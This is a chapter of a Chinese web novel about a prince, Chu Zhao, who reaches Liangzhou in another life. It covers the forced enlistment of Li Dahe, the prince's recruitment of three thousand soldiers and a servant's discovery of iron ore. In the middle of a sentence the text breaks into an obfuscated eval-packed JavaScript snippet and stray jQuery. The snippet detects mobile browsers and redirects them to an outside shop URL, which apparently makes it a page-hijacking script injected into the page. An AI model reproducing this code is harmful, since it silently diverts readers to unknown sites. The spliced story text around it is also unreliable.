凉州苦寒,城北的织麻巷更是穷得叮当响。


    此时巷尾的一户人家,正吵得鸡飞狗跳,不可开交。


    这般大的动静,惹得周边的邻居纷纷爬上墙头,伸着长脖子瞧热闹。


    “今儿个你是不去也得去!这个家有你没我,有我没你!”钱氏一把推开自家男人,冲着小叔子李大河厉声骂道。


    “啪!”的一声脆响,钱氏捂着脸懵了。


    “钱氏!你要是不想跟老子过,立刻卷了铺盖回你娘家去!”


    李大山平日里是个出了名的妻管严,可今天见自家弟弟被她逼成这样,再也忍不住,大着胆子打了她一巴掌。


    到底是平日里怂惯了,打完之后,他背在身后的手心还在偷偷发颤。


    而被打的钱氏,是彻底的疯了,她嫁过来这么多年,李大山连句重话都没说过,今日竟打了她!


    只见她“嗷”了一嗓子,直接扑了上去,“好你个李大山,竟敢打起老娘来了!”


    她边打边骂:“我打死你这没良心的!老娘辛辛苦苦操持这个家,你还敢跟我动手...我打死你——!”


    两人顿时扭打作一团,锅碗瓢盆哐当乱响。


    “哎哟!”


    李大山躲闪不及,腮帮子结结实实挨了一下,疼得龇牙咧嘴。


    “老娘今天非打死你不可!”钱氏依旧不依不饶。


    “疼疼疼!别打了...我错了还不行吗!!”


    “老娘给他找的活儿哪点不好?合着就我一人是恶人?”


    “你也不瞧瞧!这家里哪处不花钱?狗蛋都快饿死了啊!老天爷,你开开眼吧,我这么辛苦到底为的是什么......”


    钱氏越说越气,后来干脆瘫坐在地,嚎啕大哭起来。


    “够了——!”


    “哥哥嫂嫂,你们别吵了,我去……”李大河看着这场闹剧,只觉得身心俱疲。


    他拎起早就收拾好的包袱,“嫂嫂别再为难哥哥了,我这就走。”说完,便头也不回地往外走。


    “小弟!”李大山见状急着要去追,却被钱氏死死拽住。


    李大河听到脚步一顿,却没有回头,“往后我不在家,哥哥就和嫂嫂好好过日子吧。”


    “若是...小弟没被选上,就去找个包吃住的活儿,总不会饿死。”


    李大山眼看阻止不了自家弟弟离开,心痛的泪流满面:


    “弟啊,都怪哥没用,管不住你嫂子……你!你千万保重身子!有空……有空就回来看看哥...啊!”


    李大河攥紧了包袱带,眼眶发烫。他们兄弟二人自小父母双亡,相依为命。


    好不容易等到哥哥李大山娶了媳妇,原以为,这日子渐渐的也能好起来。


    谁成想,这钱氏过门后处处看他不顺眼,整日不是嫌他吃得多,就是怪他不去上工。


    可她也不瞧瞧,那时的他,才刚十三不到!


    他就想出去找活,可哪家铺子肯收个半大的孩子!?


    直到去年,李大河终于年满十八,钱氏便再也按捺不住,一门心思的要将他赶出家门。


    现如今这光景,人人都都吃不饱饭,十八岁的小伙子虽说身强力壮,能干的活也多,可饭量也大!


    正经包吃包住的活儿,哪里能轮得到他?


    因此他也只能找些个零散的短工做做,收入微薄不说,还不管饭。


    外面的食巷饭菜又贵,李大河为了省钱,只好每天带着粗粮饼子就着冷水吞下了事。


    就这样钱氏还不满足,依然吵闹不休,非要将他彻底赶出这个家门才肯罢休。


    直到楚昭发布了征军令:凡年满十八周岁、身高七尺以上者,皆可报名入伍,每月军饷二两白银。


    钱氏看到了,兴奋之余,再也忍不住,直接瞒着他们兄弟二人,偷偷的替李大河报了名。


    有道是好男不当兵!


    凉州地处边关,自古便是烽火战争之地。


    若真有战乱的那一天,头一个死的就是当兵入伍的。


    这送命的行当,要不是那些实在活不下去的人家,谁愿意让自家儿郎走上这条路?


    ...


    今日正是定远军新兵选拔的日子。


    点将台上,楚昭一身玄色劲装,迎风而立,目光扫过台下乌压压的人群:


    “今日!本王欲招三千新兵!”他声音清朗,清晰地落入每个人耳中。


    “你们当中,无论骑射、劈砍、投掷,亦或者是一把子力气,凡有所长者,都可上前,凭本事入选!”


    楚昭有意扩大军营规模,组建一支精悍的骑兵。


    奈何凉州战马稀缺,报名骑兵的数量最少,反倒是步兵和投石兵应征的人数是最多的。


    经过了一天的选拔,最终定下步兵一千,投石兵八百,弓箭兵八百,而骑兵只有堪堪四百人。


    等将这三千名新入选的兵丁集合,排好队列后。


    楚昭站在高台上,目光如炬:


    “各位将士,以后都是我定远军的一员!本王希望诸位严守军纪,奋勇杀敌,保家卫国!大家都能做到吗?”


    “能!”台下呼声震天,“奋勇杀敌,保家卫国!”


    “很好!”楚昭满意地点头,“今日你们累了一天,就好好休息下。从明日起,每日都要随大军操练!”


    “此外!我定远军每三个月考核一次,所以三个月后,你们将迎来第一场全军校阅,这期间,都给本王铆足了劲操练,谁若敢懈怠——”


    他故意顿了顿,嘴角似笑非笑,慢悠悠道:


    “考核优胜者,本王不吝擢升,饷银加倍!至于那些过不了关的嘛……”他拖长了语调,眼风一扫,“就给本王去刷三个月的军厕马桶!”


    “哈哈哈哈......”


    楚昭话音刚落,不少新兵都忍不住哄笑起来,原本紧绷的气氛瞬间松快了不少。


    就连一些老兵,脸上也露出了忍俊不禁的神色。


    见效果达到,楚昭神色一正,又开始说道:“总之一句话,在定远军里,要是想出人头地,都要各凭本事!”


    “是!谨遵王爷令!!”吼声震耳,响彻校场。


    被楚昭这一套“大饼文化”输出,台下几千士兵个个热血上涌,眼睛都亮得灼人。


    看着这士气高涨的场面,楚昭背着手,心下满意。


    这声望值花得不亏!


    说到底,他上辈子就是个普通大学生,哪儿真懂这些练兵的门道?


    眼前这套看似严整的军制,纯粹是靠着系统那个金手指,用自己这几个月辛苦攒来的声望值,换取了一份现成模板,照搬照旧的套用了。


    但...有用就行!


    不过,这制度既然定下了,那就得落实到位!


    要是因为后期缺乏监督,再好的章法也终会变成纸上谈兵,成了摆设。


    故,为了防止平日里士兵训练懈怠,滋生懒散,楚昭这才设定了三月一考的规矩。


    三个月后,是骡子是马,都拉出来练练,优劣高下,全凭本事说话。


    别看这考核内容虽然简单,都是军中的日常操练项目,可难度更加严苛。


    一旦考核失败,不仅要降为末等兵。


    还要承担军中的杂役脏活,虽说饮食照旧,但是颜面尽失。


    这就导致定远军的全体将士,整日拼了命的训练。


    楚昭见此,也体恤他们平时操练辛苦,特意吩咐了炊事营,吃食上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892361|192224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绝对不能亏待了他们。


    虽说不能顿顿有肉,却也每隔一日就有荤腥。


    这些新兵蛋子入伍前家里穷得叮当响,哪曾见过这么丰盛的饭菜?


    哪怕是最普通的萝卜炖白菜,都加了不少荤油,烧的那叫一个油水十足,喷香有味!


    原以为这参军入伍定是苦不堪言的,谁成想竟能吃得这般丰富,简直比在家时还要好百倍!


    饭菜可口,营养充足,再配上高强度的训练,虽说辛苦了些,可效果也是非常显著的。


    李大河原本瞧着瘦弱干瘪的身板,如今肌肉紧实,肤色也晒成了健康的麦色,站在队列里,跟那些老兵比起来也是毫不逊色。


    不止是他,这三千个新兵蛋子各个都脱胎换骨了一般,身姿挺拔,高大威猛,眼神里全都多了几分军人的硬朗。


    *


    暮色时分,楚昭从城东大营回到了王府,刚勒马停在门前,就见小禄子浑身脏兮兮的从大门匆忙跑了过来。


    “王爷——!”他看到楚昭时眼都亮了,刚想继续说下去,想到了什么,又生生忍住了,憋得满脸通红。


    楚昭挑眉,翻身下马将缰绳丢给亲卫,见他这幅明显有话要说的模样,反倒是多了几分好奇。


    他抬手拍了拍衣袍上的灰尘,使了个眼色直接转身去了书房,小禄子立刻心领神会,一路跟在后面。


    刚进书房将门掩上,小禄子就按捺不住了,连礼都忘了行。


    “王爷!您猜小的在虎头山发现什么宝贝了!?”


    说完,没等楚昭开口,他就自顾自的从那脏兮兮的袖笼里掏出个黑疙瘩,宝贝似的捧到楚昭跟前。


    楚昭伸手接过,入手猛地一沉。


    本以为是石头,他仔细看去,他眼神倏然变了。


    不!


    这绝不是石头!


    他忍不住用手摩挲,触感冰凉且坚硬,借着光细看,竟流转着一层暗沉沉的金属幽光。


    他的心猛地一跳,双眼骤亮,难以置信地抬眼看向小禄子,声音发颤:


    “这是……铁?”


    小禄子疯狂点头,激动得直跺脚,兴奋的说道:


    “就是铁!上好的铁矿!”


    “王爷,先前我们都猜错了,那山上,哪里是石头啊,分明就是个金窝窝!”


    原来,自打楚昭将虎头山的那群土匪一锅端了后,山上的屋舍便空着了。


    偌大的山头,漫山遍野的石头和大片荒地。


    楚昭瞧着可惜,本着资源不能浪费的原则,便派了小禄子过去摸摸底,看能不能建个石头加工厂变废为宝。


    也正因如此,小禄子这几日忙的脚不沾地,天天往山里跑。


    谁知今日他独自在后山闲逛时,不慎失足掉进一处大坑,反倒因此撞见了山上藏着的秘密。


    “奴才当时疼的龇牙咧嘴,正想骂娘呢,抬头一瞧,好家伙!四壁全是这黑乎乎的玩意儿!”


    楚昭捏着那铁矿石快步走到窗边,对着日光细细端详。


    日光下,那层冰润的金属光泽再也藏不住,灼得他眼底发亮。


    楚昭狂喜!


    凉州缺铁,何况他未来还有大堆兵马要养,军中武器装备除却先前剿匪所获的,没剩几件了。


    他本还愁着要去哪里调运铁矿用来铸造兵甲呢,没想到竟得来全不费工夫!


    这简直是天降横财,不!是天赐金山!


    “小禄子,备马!”楚昭豁然转身,眼神亮得吓人,“即刻随本王上山!”


    这铁矿品相上乘,有了它,往后兵甲自足,便不再受制于人。


    想到这里,楚昭心头火热,一刻也等不得了。只简单收拾了下,便带着亲卫纵马出了城。